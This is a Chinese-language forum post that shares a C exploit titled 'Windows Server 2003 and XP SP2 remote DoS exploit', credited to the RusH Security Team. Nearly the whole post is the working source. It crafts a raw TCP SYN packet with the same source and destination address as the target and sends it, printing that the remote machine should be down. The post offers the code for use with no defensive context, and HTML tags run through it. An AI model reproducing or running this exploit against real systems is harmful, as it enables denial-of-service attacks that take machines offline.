返回列表 发帖

windows xp service pack 2 ddos attack

[这个贴子最后由黑色海岸线在 2005/03/19 09:10pm 第 2 次编辑] [HTML]一个土尔其朋友给的一个code.
  1. <BR>&#35;define _BSD_SOURCE
  2. &#35;include <stdio.h> <BR>&#35;include <ctype.h> <BR>&#35;include <sys/socket.h> <BR>&#35;include <netinet/in.h> <BR>&#35;include <netinet/in_systm.h> <BR>&#35;include <netinet/ip.h> <BR>&#35;include <netinet/tcp.h> <BR>&#35;include <sysexits.h> <BR>&#35;include <stdlib.h> <BR>&#35;include <unistd.h> <BR>&#35;include <sys/types.h>
  3. /* <BR>Windows Server 2003 and XP SP2 remote DoS exploit <BR>Tested under OpenBSD 3.6 at WinXP SP 2 <BR>Vuln by Dejan Levaja <<A href="mailto:dejan_@_levaja.com">dejan_@_levaja.com</A>> <BR>(c)oded by __blf 2005 RusH Security Team , <A href="http://rst.void.ru">http://rst.void.ru</A> <BR>Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor <BR>f&#35;&#35;k lamerz: Saint_I, nmalykh, Mr. Clumsy <BR>All rights reserved. <BR>*/
  4. //checksum function by r0ach <BR>u_short checksum (u_short *addr, int len) <BR>{ <BR>u_short *w = addr; <BR>int i = len; <BR>int sum = 0; <BR>u_short answer; <BR>while (i > 0) <BR>{ <BR>sum += *w++; <BR>i-=2; <BR>} <BR>if (i == 1) sum += *(u_char *)w; <BR>sum = (sum >> 16) + (sum & 0xffff); <BR>sum = sum + (sum >> 16); <BR>return (~sum); <BR>} <BR>int main(int argc, char ** argv) <BR>{ <BR>struct in_addr src, dst; <BR>struct sockaddr_in sin; <BR>struct _pseudoheader { <BR>struct in_addr source_addr; <BR>struct in_addr destination_addr; <BR>u_char zero; <BR>u_char protocol; <BR>u_short length; <BR>} pseudoheader; <BR>struct ip * iph; <BR>struct tcphdr * tcph; <BR>int mysock; <BR>u_char * packet; <BR>u_char * pseudopacket; <BR>int on = 1; <BR>if( argc != 3) <BR>{ <BR>fprintf(stderr, "r57windos.c by __blf\n"); <BR>fprintf(stderr, "RusH Security Team\n"); <BR>fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); <BR>return EX_USAGE; <BR>} <BR>if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == <BR>NULL) <BR>{ <BR>perror("malloc()\n"); <BR>return EX_OSERR; <BR>} <BR>inet_aton(argv[1], &src); <BR>inet_aton(argv[1], &dst); <BR>iph = (struct ip *) packet; <BR>iph->ip_v = IPVERSION; <BR>iph->ip_hl = 5; <BR>iph->ip_tos = 0; <BR>iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); <BR>iph->ip_off = htons(IP_DF); <BR>iph->ip_ttl = 255; <BR>iph->ip_p = IPPROTO_TCP; <BR>iph->ip_sum = 0; <BR>iph->ip_src = src; <BR>iph->ip_dst = dst; <BR>tcph = (struct tcphdr *)(packet +sizeof(struct ip)); <BR>tcph->th_sport = htons(atoi(argv[2])); <BR>tcph->th_dport = htons(atoi(argv[2])); <BR>tcph->th_seq = ntohl(rand()); <BR>tcph->th_ack = rand(); <BR>tcph->th_off = 5; <BR>tcph->th_flags = TH_SYN; // setting up TCP SYN flag here <BR>tcph->th_win = htons(512); <BR>tcph->th_sum = 0; <BR>tcph->th_urp = 0; <BR>pseudoheader.source_addr = src; <BR>pseudoheader.destination_addr = dst; <BR>pseudoheader.zero = 0; <BR>pseudoheader.protocol = IPPROTO_TCP; <BR>pseudoheader.length = htons(sizeof(struct tcphdr)); <BR>if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct <BR>tcphdr))) == NULL) <BR>{ <BR>perror("malloc()\n"); <BR>return EX_OSERR; <BR>} <BR>memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); <BR>memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), <BR>sizeof(struct tcphdr)); <BR>tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + <BR>sizeof(struct tcphdr)); <BR>mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); <BR>if(!mysock) <BR>{ <BR>perror("socket!\n"); <BR>return EX_OSERR; <BR>} <BR>if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == <BR>-1) <BR>{ <BR>perror("setsockopt"); <BR>shutdown(mysock, 2); <BR>return EX_OSERR; <BR>} <BR>sin.sin_family = PF_INET; <BR>sin.sin_addr = dst; <BR>sin.sin_port = htons(80); <BR>if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, <BR>(struct sockaddr *)&sin, sizeof(sin)) == -1) <BR>{ <BR>perror("sendto()\n"); <BR>shutdown(mysock, 2); <BR>return EX_OSERR; <BR>} <BR>printf("Packet sent. Remote machine should be down.\n"); <BR>shutdown(mysock, 2); <BR>return EX_OK; <BR>}<BR>
复制代码

[/HTML]

windows xp service pack 2 ddos attack

汗~~ 贴出来怎么连成一片了

TOP

返回列表 回复 发帖